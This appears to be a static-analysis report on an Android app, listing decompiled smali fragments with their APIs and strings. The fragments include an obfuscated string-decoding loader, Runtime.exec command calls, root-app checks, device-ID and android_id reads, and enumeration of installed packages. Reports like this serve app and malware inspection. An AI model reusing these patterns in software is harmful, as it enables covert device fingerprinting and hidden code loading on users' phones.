                                                                              9invoke-virtual {p1}, Lcom/android/leech/patch/apksigner/sun/security/x509/Extension;->getExtensionId()Lcom/android/leech/patch/apksigner/sun/security/util/ObjectIdentifier;
                                                                              10move-result-object v2
                                                                              12invoke-static {v2}, Lcom/android/leech/patch/apksigner/sun/security/x509/OIDMap;->getClass(Lcom/android/leech/patch/apksigner/sun/security/util/ObjectIdentifier;)Ljava/lang/Class;
                                                                              13move-result-object v0
                                                                              14if-eqz v0, :cond_35
                                                                              16const-string v2, "NAME"
                                                                              18invoke-virtual {v0, v2}, Ljava/lang/Class;->getDeclaredField(Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              19move-result-object v1
                                                                              20new-instance v3, Ljava/lang/StringBuilder;
                                                                              22invoke-direct {v3}, Ljava/lang/StringBuilder;-><init>()V
                                                                              23const/4 v2, 0x0
                                                                              25invoke-virtual {v1, v2}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              26move-result-object v2
                                                                              27check-cast v2, Ljava/lang/String;
                                                                              28check-cast v2, Ljava/lang/String;
                                                                              30invoke-virtual {v3, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              31move-result-object v2
                                                                              33const-string v3, " "
                                                                              35invoke-virtual {v2, v3}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              36move-result-object v2
                                                                              38invoke-virtual {v2}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              39move-result-object v2
                                                                              40iput-object v2, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/UnparseableExtension;->name:Ljava/lang/String;
                                                                              41try_end_35: iput-object p2, p0, Lcom/android/leech/patch/apksigner/sun/security/x509/UnparseableExtension;->why:Ljava/lang/Throwable;
                                                                              42return-void
                                                                              43catch_38: move-exception v2
                                                                              44goto/16 :goto_35
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Runtime.getRuntime
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.lang.Runtime.exec
                                                                              • java.lang.Object.wait
                                                                              Strings
                                                                              • chmod 0755
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "path" # Ljava/lang/String;
                                                                              1.prologue
                                                                              2try_start_0:
                                                                              3invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
                                                                              4move-result-object v0
                                                                              5new-instance v1, Ljava/lang/StringBuilder;
                                                                              7invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                                              9const-string v2, "chmod 0755 "
                                                                              11invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              12move-result-object v1
                                                                              14invoke-virtual {v1, p0}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              15move-result-object v1
                                                                              17invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              18move-result-object v1
                                                                              20invoke-virtual {v0, v1}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
                                                                              21move-result-object v0
                                                                              23invoke-virtual {v0}, Ljava/lang/Object;->wait()V
                                                                              24goto_1e: return-void
                                                                              25catch_1f: move-exception v0
                                                                              26goto/16 :goto_1e
                                                                              APIs
                                                                              • java.lang.StringBuilder.<init>
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.append
                                                                              • java.lang.StringBuilder.toString
                                                                              • java.util.Map.put
                                                                              Strings
                                                                              • time
                                                                              • logEvent
                                                                              Position Instruction Meta Information
                                                                              0.param p1, "mContext" # Landroid/content/Context;
                                                                              1.param p2, "eventID" # Ljava/lang/String;
                                                                              2.param p3, "map" # Ljava/util/Map;
                                                                              3.param p4, "num" # I
                                                                              4.prologue
                                                                              5try_start_0:
                                                                              6const-string v0, "time"
                                                                              7new-instance v1, Ljava/lang/StringBuilder;
                                                                              9invoke-direct {v1}, Ljava/lang/StringBuilder;-><init>()V
                                                                              11const-string v2, ""
                                                                              13invoke-virtual {v1, v2}, Ljava/lang/StringBuilder;->append(Ljava/lang/String;)Ljava/lang/StringBuilder;
                                                                              14move-result-object v1
                                                                              16invoke-virtual {v1, p4}, Ljava/lang/StringBuilder;->append(I)Ljava/lang/StringBuilder;
                                                                              17move-result-object v1
                                                                              19invoke-virtual {v1}, Ljava/lang/StringBuilder;->toString()Ljava/lang/String;
                                                                              20move-result-object v1
                                                                              22invoke-interface {p3, v0, v1}, Ljava/util/Map;->put(Ljava/lang/Object;Ljava/lang/Object;)Ljava/lang/Object;
                                                                              24invoke-static {}, Lcom/android/leech/main/analytics/FlurryAgent;->getFlurryAgent()Ljava/lang/String;
                                                                              25move-result-object v0
                                                                              27const-string v1, "logEvent"
                                                                              28const/4 v2, 0x2
                                                                              29new-array v2, v2, [Ljava/lang/Class;
                                                                              30const/4 v3, 0x0
                                                                              31const-class v4, Ljava/lang/String;
                                                                              32aput-object v4, v2, v3
                                                                              33const/4 v3, 0x1
                                                                              34const-class v4, Ljava/util/Map;
                                                                              35aput-object v4, v2, v3
                                                                              36const/4 v3, 0x2
                                                                              37new-array v3, v3, [Ljava/lang/Object;
                                                                              38const/4 v4, 0x0
                                                                              39aput-object p2, v3, v4
                                                                              40const/4 v4, 0x1
                                                                              41aput-object p3, v3, v4
                                                                              43invoke-static {v0, v1, v2, v3}, Lcom/android/leech/base/util/RefInvoke;->invokeStaticMethod(Ljava/lang/String;Ljava/lang/String;[Ljava/lang/Class;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              44try_end_37:
                                                                              45invoke-virtual {p0, p1}, Lcom/android/leech/main/analytics/FlurryAgent;->sendAgentData(Landroid/content/Context;)V
                                                                              46return-void
                                                                              47catch_3b: move-exception v0
                                                                              48goto/16 :goto_37
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getClassLoader
                                                                              • java.lang.ClassLoader.loadClass
                                                                              • java.lang.Class.getMethod
                                                                              • java.lang.String.<init>
                                                                              • java.lang.reflect.Method.invoke
                                                                              Strings
                                                                              • android.os.SystemProperties
                                                                              • get
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "context" # Landroid/content/Context;
                                                                              1.param p1, "key" # Ljava/lang/String;
                                                                              2.prologue
                                                                              4const-string v7, ""
                                                                              5try_start_2:
                                                                              6invoke-virtual {p0}, Landroid/content/Context;->getClassLoader()Ljava/lang/ClassLoader;
                                                                              7move-result-object v2
                                                                              9const-string v8, "android.os.SystemProperties"
                                                                              11invoke-virtual {v2, v8}, Ljava/lang/ClassLoader;->loadClass(Ljava/lang/String;)Ljava/lang/Class;
                                                                              12move-result-object v1
                                                                              13const/4 v8, 0x1
                                                                              14new-array v5, v8, [Ljava/lang/Class;
                                                                              15const/4 v8, 0x0
                                                                              16const-class v9, Ljava/lang/String;
                                                                              17aput-object v9, v5, v8
                                                                              19const-string v8, "get"
                                                                              21invoke-virtual {v1, v8, v5}, Ljava/lang/Class;->getMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              22move-result-object v4
                                                                              23const/4 v8, 0x1
                                                                              24new-array v6, v8, [Ljava/lang/Object;
                                                                              25const/4 v8, 0x0
                                                                              26new-instance v9, Ljava/lang/String;
                                                                              28invoke-direct {v9, p1}, Ljava/lang/String;-><init>(Ljava/lang/String;)V
                                                                              29aput-object v9, v6, v8
                                                                              31invoke-virtual {v4, v1, v6}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              32move-result-object v8
                                                                              33move-object v0, v8
                                                                              34check-cast v0, Ljava/lang/String;
                                                                              35move-object v7, v0
                                                                              36try_end_2d: return-object v7
                                                                              37catch_2e: move-exception v3
                                                                              39const-string v7, ""
                                                                              40goto/16 :goto_2d
                                                                              41catch_32: move-exception v8
                                                                              42goto/16 :goto_2d
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.app.ActivityManager.getRunningAppProcesses
                                                                              • java.util.List.iterator
                                                                              • java.util.Iterator.hasNext
                                                                              • java.util.Iterator.next
                                                                              • android.os.Process.myPid
                                                                              • android.app.ActivityManager$RunningAppProcessInfo.processName:Ljava/lang/String
                                                                              Strings
                                                                              • activity
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "context" # Landroid/content/Context;
                                                                              1.prologue
                                                                              3const-string v3, ""
                                                                              5const-string v4, "activity"
                                                                              7invoke-virtual {p0, v4}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              8move-result-object v1
                                                                              9check-cast v1, Landroid/app/ActivityManager;
                                                                              10if-eqz v1, :cond_2d
                                                                              12invoke-virtual {v1}, Landroid/app/ActivityManager;->getRunningAppProcesses()Ljava/util/List;
                                                                              13move-result-object v0
                                                                              14if-eqz v0, :cond_2d
                                                                              16invoke-interface {v0}, Ljava/util/List;->iterator()Ljava/util/Iterator;
                                                                              17move-result-object v4
                                                                              18cond_16:
                                                                              19invoke-interface {v4}, Ljava/util/Iterator;->hasNext()Z
                                                                              20move-result v5
                                                                              21if-eqz v5, :cond_2d
                                                                              23invoke-interface {v4}, Ljava/util/Iterator;->next()Ljava/lang/Object;
                                                                              24move-result-object v2
                                                                              25check-cast v2, Landroid/app/ActivityManager$RunningAppProcessInfo;
                                                                              26iget v5, v2, Landroid/app/ActivityManager$RunningAppProcessInfo;->pid:I
                                                                              28invoke-static {}, Landroid/os/Process;->myPid()I
                                                                              29move-result v6
                                                                              30if-ne v5, v6, :cond_16
                                                                              32iget-object v3, v2, Landroid/app/ActivityManager$RunningAppProcessInfo;->processName:Ljava/lang/String;
                                                                              33goto/16 :goto_16
                                                                              34cond_2d: return-object v3
                                                                              APIs
                                                                              • java.lang.Class.forName
                                                                              • java.lang.Class.getDeclaredMethod
                                                                              • java.lang.reflect.Method.invoke
                                                                              • com.android.support.multidex.Application$ZipUtils.aAo
                                                                              • com.android.support.multidex.Application$ZipUtils.<init>
                                                                              Strings
                                                                              • \uc4c2\u659d\u44a3\u6b3e\u9625\u2df5\uff74\ud621\u2cf6\u372e\u693b\u3839\u22a3\ufd66\ub6a2\u39b6\u5995\u677c\u12a5\u9c74\ua200\u7771\uf0c7\ub573\u1ae9\uae90
                                                                              • \uc4c0\u6586\u44b5\u6b3e\u962f\u2df2\uff64\ud64e\u2ce7\u372e\u6927\u387e\u2281\ufd64\ub6a2\u39b6\u598c\u677b
                                                                              Position Instruction Meta Information
                                                                              0new-instance v0, Lcom/android/support/multidex/Application$ZipUtils;
                                                                              2const-string v0, "\uc4c2\u659d\u44a3\u6b3e\u9625\u2df5\uff74\ud621\u2cf6\u372e\u693b\u3839\u22a3\ufd66\ub6a2\u39b6\u5995\u677c\u12a5\u9c74\ua200\u7771\uf0c7\ub573\u1ae9\uae90"
                                                                              4invoke-static {v0}, Lcom/android/support/multidex/Application;->qHhH(Ljava/lang/String;)Ljava/lang/String;
                                                                              5move-result-object v0
                                                                              7invoke-static {v0}, Ljava/lang/Class;->forName(Ljava/lang/String;)Ljava/lang/Class;
                                                                              8move-result-object v0
                                                                              10const-string v1, "\uc4c0\u6586\u44b5\u6b3e\u962f\u2df2\uff64\ud64e\u2ce7\u372e\u6927\u387e\u2281\ufd64\ub6a2\u39b6\u598c\u677b"
                                                                              12invoke-static {v1}, Lcom/android/support/multidex/Application;->qHhH(Ljava/lang/String;)Ljava/lang/String;
                                                                              13move-result-object v1
                                                                              14const/4 v2, 0x0
                                                                              16invoke-virtual {v0, v1, v2}, Ljava/lang/Class;->getDeclaredMethod(Ljava/lang/String;[Ljava/lang/Class;)Ljava/lang/reflect/Method;
                                                                              17move-result-object v0
                                                                              19invoke-virtual {v0, v2, v2}, Ljava/lang/reflect/Method;->invoke(Ljava/lang/Object;[Ljava/lang/Object;)Ljava/lang/Object;
                                                                              20move-result-object v0
                                                                              21check-cast v0, Landroid/content/Context;
                                                                              22new-instance v1, Lcom/android/support/multidex/Application$ZipUtils;
                                                                              23if-eqz v0, :cond_22
                                                                              24goto/16 :goto_26
                                                                              25cond_22:
                                                                              26invoke-static {}, Lcom/android/support/multidex/Application$ZipUtils;->aAo()Landroid/content/Context;
                                                                              27move-result-object v0
                                                                              28goto_26:
                                                                              29invoke-direct {v1, v0}, Lcom/android/support/multidex/Application$ZipUtils;-><init>(Landroid/content/Context;)V
                                                                              30return-object v1
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.Runtime.getRuntime
                                                                              • java.lang.Runtime.exec
                                                                              • java.lang.Process.getInputStream
                                                                              • java.io.InputStreamReader.<init>
                                                                              • java.io.BufferedReader.<init>
                                                                              • java.io.BufferedReader.readLine
                                                                              • java.lang.String.contains
                                                                              • java.lang.Process.waitFor
                                                                              Position Instruction Meta Information
                                                                              0.annotation system Ldalvik/annotation/Throws;
                                                                              1value = {
                                                                              2Ljava/io/IOException;
                                                                              3}
                                                                              4.end annotation
                                                                              5const/4 v0, -0x1
                                                                              7invoke-static {}, Ljava/lang/Runtime;->getRuntime()Ljava/lang/Runtime;
                                                                              8move-result-object v1
                                                                              10invoke-virtual {v1, p0}, Ljava/lang/Runtime;->exec(Ljava/lang/String;)Ljava/lang/Process;
                                                                              11move-result-object v2
                                                                              12new-instance v1, Ljava/io/BufferedReader;
                                                                              13new-instance v3, Ljava/io/InputStreamReader;
                                                                              15invoke-virtual {v2}, Ljava/lang/Process;->getInputStream()Ljava/io/InputStream;
                                                                              16move-result-object v4
                                                                              18invoke-direct {v3, v4}, Ljava/io/InputStreamReader;-><init>(Ljava/io/InputStream;)V
                                                                              20invoke-direct {v1, v3}, Ljava/io/BufferedReader;-><init>(Ljava/io/Reader;)V
                                                                              21cond_17:
                                                                              22invoke-virtual {v1}, Ljava/io/BufferedReader;->readLine()Ljava/lang/String;
                                                                              23move-result-object v3
                                                                              24if-eqz v3, :cond_2d
                                                                              26invoke-virtual {v3, p1}, Ljava/lang/String;->contains(Ljava/lang/CharSequence;)Z
                                                                              27move-result v3
                                                                              28if-eqz v3, :cond_17
                                                                              29const/4 v1, 0x1
                                                                              30goto_24:
                                                                              31invoke-virtual {v2}, Ljava/lang/Process;->waitFor()I
                                                                              32try_end_27: move-result v2
                                                                              33if-eqz v2, :cond_2b
                                                                              34goto_2a: return v0
                                                                              35cond_2b: move v0, v1
                                                                              36goto/16 :goto_2a
                                                                              37cond_2d: move v1, v0
                                                                              38goto/16 :goto_24
                                                                              39catch_2f: move-exception v1
                                                                              40goto/16 :goto_2a
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.telephony.TelephonyManager.getDeviceId
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.telephony.TelephonyManager.getDeviceId
                                                                              Strings
                                                                              • phone
                                                                              • android.permission.READ_PHONE_STATE
                                                                              Position Instruction Meta Information
                                                                              0const/4 v1, 0x0
                                                                              1if-nez p0, :cond_4
                                                                              2goto_3: return-object v1
                                                                              3cond_4:
                                                                              4const-string v0, "phone"
                                                                              6invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              7move-result-object v0
                                                                              8check-cast v0, Landroid/telephony/TelephonyManager;
                                                                              10const-string v2, "android.permission.READ_PHONE_STATE"
                                                                              12invoke-static {p0, v2}, LuAgent/commonsdk/statistics/common/DeviceConfig;->checkPermission(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              13move-result v2
                                                                              14if-eqz v2, :cond_39
                                                                              15if-eqz v0, :cond_39
                                                                              16sget v2, Landroid/os/Build$VERSION;->SDK_INT:I
                                                                              17const/16 v3, 0x1a
                                                                              18if-ge v2, v3, :cond_22
                                                                              20invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
                                                                              21move-result-object v0
                                                                              22goto_20: move-object v1, v0
                                                                              23goto/16 :goto_3
                                                                              24cond_22:
                                                                              25invoke-static {p0}, LuAgent/commonsdk/internal/utils/a;->t(Landroid/content/Context;)Ljava/lang/String;
                                                                              26try_end_25: move-result-object v1
                                                                              27try_start_26:
                                                                              28invoke-static {v1}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              29move-result v2
                                                                              30if-eqz v2, :cond_37
                                                                              32invoke-virtual {v0}, Landroid/telephony/TelephonyManager;->getDeviceId()Ljava/lang/String;
                                                                              33try_end_2f: move-result-object v0
                                                                              34goto/16 :goto_20
                                                                              35catch_31: move-exception v0
                                                                              36move-object v0, v1
                                                                              37goto/16 :goto_20
                                                                              38catch_34: move-exception v0
                                                                              39move-object v0, v1
                                                                              40goto/16 :goto_20
                                                                              41cond_37: move-object v0, v1
                                                                              42goto/16 :goto_20
                                                                              43cond_39: move-object v0, v1
                                                                              44goto/16 :goto_20
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getSystemService
                                                                              • android.net.ConnectivityManager.getActiveNetworkInfo
                                                                              • android.net.NetworkInfo.isConnectedOrConnecting
                                                                              • android.content.Context.getApplicationContext
                                                                              Strings
                                                                              • android.permission.ACCESS_NETWORK_STATE
                                                                              • connectivity
                                                                              Position Instruction Meta Information
                                                                              0try_start_0:
                                                                              1const-string v0, "android.permission.ACCESS_NETWORK_STATE"
                                                                              3invoke-static {p0, v0}, LuAgent/commonsdk/framework/b;->a(Landroid/content/Context;Ljava/lang/String;)Z
                                                                              4move-result v0
                                                                              5if-eqz v0, :cond_25
                                                                              7const-string v0, "connectivity"
                                                                              9invoke-virtual {p0, v0}, Landroid/content/Context;->getSystemService(Ljava/lang/String;)Ljava/lang/Object;
                                                                              10move-result-object v0
                                                                              11check-cast v0, Landroid/net/ConnectivityManager;
                                                                              12if-eqz v0, :cond_25
                                                                              14invoke-virtual {v0}, Landroid/net/ConnectivityManager;->getActiveNetworkInfo()Landroid/net/NetworkInfo;
                                                                              15move-result-object v0
                                                                              16if-eqz v0, :cond_25
                                                                              18invoke-virtual {v0}, Landroid/net/NetworkInfo;->isConnectedOrConnecting()Z
                                                                              19try_end_1b: move-result v0
                                                                              20goto_1c: return v0
                                                                              21catch_1d: move-exception v0
                                                                              23invoke-virtual {p0}, Landroid/content/Context;->getApplicationContext()Landroid/content/Context;
                                                                              24move-result-object v1
                                                                              26invoke-static {v1, v0}, LuAgent/commonsdk/proguard/b;->a(Landroid/content/Context;Ljava/lang/Throwable;)V
                                                                              27cond_25: const/4 v0, 0x0
                                                                              28goto/16 :goto_1c
                                                                              Cross References
                                                                              APIs
                                                                              • java.io.File.<init>
                                                                              • java.io.File.exists
                                                                              • java.io.File.<init>
                                                                              • java.io.File.exists
                                                                              Strings
                                                                              • /system/app/Superuser.apk
                                                                              • /system/app/Kinguser.apk
                                                                              Position Instruction Meta Information
                                                                              0try_start_0: new-instance v0, Ljava/io/File;
                                                                              2const-string v1, "/system/app/Superuser.apk"
                                                                              4invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                                                              6invoke-virtual {v0}, Ljava/io/File;->exists()Z
                                                                              7try_end_a: move-result v0
                                                                              8if-eqz v0, :cond_10
                                                                              9cond_d: const/4 v0, 0x1
                                                                              10goto_e: return v0
                                                                              11catch_f: move-exception v0
                                                                              12cond_10: new-instance v0, Ljava/io/File;
                                                                              14const-string v1, "/system/app/Kinguser.apk"
                                                                              16invoke-direct {v0, v1}, Ljava/io/File;-><init>(Ljava/lang/String;)V
                                                                              18invoke-virtual {v0}, Ljava/io/File;->exists()Z
                                                                              19try_end_1a: move-result v0
                                                                              20if-nez v0, :cond_d
                                                                              21goto_1d: const/4 v0, 0x0
                                                                              22goto/16 :goto_e
                                                                              23catch_1f: move-exception v0
                                                                              24goto/16 :goto_1d
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getContentResolver
                                                                              • android.provider.Settings$Secure.getString
                                                                              • java.lang.String.toLowerCase
                                                                              Strings
                                                                              • fail
                                                                              • android_id
                                                                              • null
                                                                              Position Instruction Meta Information
                                                                              0.prologue
                                                                              2const-string v0, "fail"
                                                                              3try_start_2:
                                                                              4sget-object v1, Lcom/android/leech/base/bugly/globle/HGloble;->sContext:Landroid/content/Context;
                                                                              6invoke-virtual {v1}, Landroid/content/Context;->getContentResolver()Landroid/content/ContentResolver;
                                                                              7move-result-object v1
                                                                              9const-string v2, "android_id"
                                                                              11invoke-static {v1, v2}, Landroid/provider/Settings$Secure;->getString(Landroid/content/ContentResolver;Ljava/lang/String;)Ljava/lang/String;
                                                                              12move-result-object v0
                                                                              13if-nez v0, :cond_13
                                                                              15const-string v0, "null"
                                                                              16goto_12: return-object v0
                                                                              17cond_13:
                                                                              18invoke-virtual {v0}, Ljava/lang/String;->toLowerCase()Ljava/lang/String;
                                                                              19try_end_16: move-result-object v0
                                                                              20goto/16 :goto_12
                                                                              21catch_18: move-exception v1
                                                                              22goto/16 :goto_12
                                                                              Cross References
                                                                              APIs
                                                                              • android.content.Context.getResources
                                                                              • android.content.res.Resources.getIdentifier
                                                                              • android.content.res.Resources.getDimensionPixelSize
                                                                              Strings
                                                                              • navigation_bar_height
                                                                              • dimen
                                                                              • android
                                                                              Position Instruction Meta Information
                                                                              0if-nez p0, :cond_4
                                                                              1const/4 v0, 0x0
                                                                              2goto_3: return v0
                                                                              3cond_4:
                                                                              4invoke-virtual {p0}, Landroid/content/Context;->getResources()Landroid/content/res/Resources;
                                                                              5move-result-object v0
                                                                              7const-string v1, "navigation_bar_height"
                                                                              9const-string v2, "dimen"
                                                                              11const-string v3, "android"
                                                                              13invoke-virtual {v0, v1, v2, v3}, Landroid/content/res/Resources;->getIdentifier(Ljava/lang/String;Ljava/lang/String;Ljava/lang/String;)I
                                                                              14move-result v1
                                                                              16invoke-virtual {v0, v1}, Landroid/content/res/Resources;->getDimensionPixelSize(I)I
                                                                              17move-result v0
                                                                              18goto/16 :goto_3
                                                                              Cross References
                                                                              APIs
                                                                              • java.util.ArrayList.<init>
                                                                              • android.content.Context.getPackageManager
                                                                              • android.content.pm.PackageManager.getInstalledPackages
                                                                              • java.util.List.size
                                                                              • java.util.List.get
                                                                              • android.content.pm.PackageInfo.packageName:Ljava/lang/String
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.content.pm.PackageInfo.applicationInfo:Landroid/content/pm/ApplicationInfo
                                                                              • android.content.pm.PackageInfo.packageName:Ljava/lang/String
                                                                              • java.util.List.add
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "mContext" # Landroid/content/Context;
                                                                              1.annotation system Ldalvik/annotation/Signature;
                                                                              2value = {
                                                                              3"(",
                                                                              4"Landroid/content/Context;",
                                                                              5")",
                                                                              6"Ljava/util/List",
                                                                              7"<",
                                                                              8"Ljava/lang/String;",
                                                                              9">;"
                                                                              10}
                                                                              11.end annotation
                                                                              12.prologue
                                                                              13new-instance v1, Ljava/util/ArrayList;
                                                                              15invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V
                                                                              16try_start_5:
                                                                              17invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                                                                              18move-result-object v4
                                                                              19const/4 v5, 0x0
                                                                              21invoke-virtual {v4, v5}, Landroid/content/pm/PackageManager;->getInstalledPackages(I)Ljava/util/List;
                                                                              22move-result-object v3
                                                                              23const/4 v0, 0x0
                                                                              24goto_f:
                                                                              25invoke-interface {v3}, Ljava/util/List;->size()I
                                                                              26move-result v5
                                                                              27if-ge v0, v5, :cond_34
                                                                              29invoke-interface {v3, v0}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                                                              30move-result-object v2
                                                                              31check-cast v2, Landroid/content/pm/PackageInfo;
                                                                              33iget-object v5, v2, Landroid/content/pm/PackageInfo;->packageName:Ljava/lang/String;
                                                                              35invoke-static {v5}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              36move-result v5
                                                                              37if-nez v5, :cond_30
                                                                              39iget-object v5, v2, Landroid/content/pm/PackageInfo;->applicationInfo:Landroid/content/pm/ApplicationInfo;
                                                                              40iget v5, v5, Landroid/content/pm/ApplicationInfo;->flags:I
                                                                              41and-int/lit8 v5, v5, 0x1
                                                                              42if-nez v5, :cond_30
                                                                              44iget-object v5, v2, Landroid/content/pm/PackageInfo;->packageName:Ljava/lang/String;
                                                                              46invoke-interface {v1, v5}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                                              47cond_30: add-int/lit8 v0, v0, 0x1
                                                                              48goto/16 :goto_f
                                                                              49catch_33: move-exception v5
                                                                              50cond_34: return-object v1
                                                                              Cross References
                                                                              APIs
                                                                              • java.lang.reflect.Field.get
                                                                              • java.lang.Object.getClass
                                                                              • java.lang.Class.getComponentType
                                                                              • java.lang.reflect.Array.newInstance
                                                                              • java.lang.System.arraycopy
                                                                              • java.lang.System.arraycopy
                                                                              • java.lang.reflect.Field.set
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "instance" # Ljava/lang/Object;
                                                                              1.param p1, "fieldName" # Ljava/lang/String;
                                                                              2.param p2, "extraElements" # [Ljava/lang/Object;
                                                                              3.annotation system Ldalvik/annotation/Throws;
                                                                              4value = {
                                                                              5Ljava/lang/NoSuchFieldException;,
                                                                              6Ljava/lang/IllegalArgumentException;,
                                                                              7Ljava/lang/IllegalAccessException;
                                                                              8}
                                                                              9.end annotation
                                                                              10.prologue
                                                                              11const/4 v6, 0x0
                                                                              13invoke-static {p0, p1}, Lcom/android/leech/main/loader/multidex/MultiDexVersion;->findField(Ljava/lang/Object;Ljava/lang/String;)Ljava/lang/reflect/Field;
                                                                              14move-result-object v1
                                                                              16invoke-virtual {v1, p0}, Ljava/lang/reflect/Field;->get(Ljava/lang/Object;)Ljava/lang/Object;
                                                                              17move-result-object v3
                                                                              18check-cast v3, [Ljava/lang/Object;
                                                                              19move-object v2, v3
                                                                              20check-cast v2, [Ljava/lang/Object;
                                                                              22invoke-virtual {v2}, Ljava/lang/Object;->getClass()Ljava/lang/Class;
                                                                              23move-result-object v3
                                                                              25invoke-virtual {v3}, Ljava/lang/Class;->getComponentType()Ljava/lang/Class;
                                                                              26move-result-object v3
                                                                              27array-length v4, v2
                                                                              28array-length v5, p2
                                                                              29add-int/2addr v4, v5
                                                                              31invoke-static {v3, v4}, Ljava/lang/reflect/Array;->newInstance(Ljava/lang/Class;I)Ljava/lang/Object;
                                                                              32move-result-object v3
                                                                              33check-cast v3, [Ljava/lang/Object;
                                                                              34move-object v0, v3
                                                                              35check-cast v0, [Ljava/lang/Object;
                                                                              36array-length v3, v2
                                                                              38invoke-static {v2, v6, v0, v6, v3}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
                                                                              39array-length v3, v2
                                                                              40array-length v4, p2
                                                                              42invoke-static {p2, v6, v0, v3, v4}, Ljava/lang/System;->arraycopy(Ljava/lang/Object;ILjava/lang/Object;II)V
                                                                              44invoke-virtual {v1, p0, v0}, Ljava/lang/reflect/Field;->set(Ljava/lang/Object;Ljava/lang/Object;)V
                                                                              45return-void
                                                                              APIs
                                                                              • java.util.ArrayList.<init>
                                                                              • android.content.Context.getPackageManager
                                                                              • android.content.pm.PackageManager.getInstalledPackages
                                                                              • java.util.List.size
                                                                              • java.util.List.get
                                                                              • android.content.pm.PackageInfo.packageName:Ljava/lang/String
                                                                              • android.text.TextUtils.isEmpty
                                                                              • android.content.pm.PackageInfo.packageName:Ljava/lang/String
                                                                              • java.util.List.add
                                                                              Position Instruction Meta Information
                                                                              0.param p0, "mContext" # Landroid/content/Context;
                                                                              1.annotation system Ldalvik/annotation/Signature;
                                                                              2value = {
                                                                              3"(",
                                                                              4"Landroid/content/Context;",
                                                                              5")",
                                                                              6"Ljava/util/List",
                                                                              7"<",
                                                                              8"Ljava/lang/String;",
                                                                              9">;"
                                                                              10}
                                                                              11.end annotation
                                                                              12.prologue
                                                                              13new-instance v1, Ljava/util/ArrayList;
                                                                              15invoke-direct {v1}, Ljava/util/ArrayList;-><init>()V
                                                                              16try_start_5:
                                                                              17invoke-virtual {p0}, Landroid/content/Context;->getPackageManager()Landroid/content/pm/PackageManager;
                                                                              18move-result-object v4
                                                                              19const/4 v5, 0x0
                                                                              21invoke-virtual {v4, v5}, Landroid/content/pm/PackageManager;->getInstalledPackages(I)Ljava/util/List;
                                                                              22move-result-object v3
                                                                              23const/4 v0, 0x0
                                                                              24goto_f:
                                                                              25invoke-interface {v3}, Ljava/util/List;->size()I
                                                                              26move-result v5
                                                                              27if-ge v0, v5, :cond_2c
                                                                              29invoke-interface {v3, v0}, Ljava/util/List;->get(I)Ljava/lang/Object;
                                                                              30move-result-object v2
                                                                              31check-cast v2, Landroid/content/pm/PackageInfo;
                                                                              33iget-object v5, v2, Landroid/content/pm/PackageInfo;->packageName:Ljava/lang/String;
                                                                              35invoke-static {v5}, Landroid/text/TextUtils;->isEmpty(Ljava/lang/CharSequence;)Z
                                                                              36move-result v5
                                                                              37if-nez v5, :cond_28
                                                                              39iget-object v5, v2, Landroid/content/pm/PackageInfo;->packageName:Ljava/lang/String;
                                                                              41invoke-interface {v1, v5}, Ljava/util/List;->add(Ljava/lang/Object;)Z
                                                                              42try_end_28: add-int/lit8 v0, v0, 0x1
                                                                              43goto/16 :goto_f
                                                                              44catch_2b: move-exception v5
                                                                              45cond_2c: return-object v1
                                                                              APIs
                                                                              • java.net.URL.<init>
                                                                              • java.net.URL.openConnection
                                                                              • java.net.HttpURLConnection.setDoInput
                                                                              • java.net.HttpURLConnection.connect
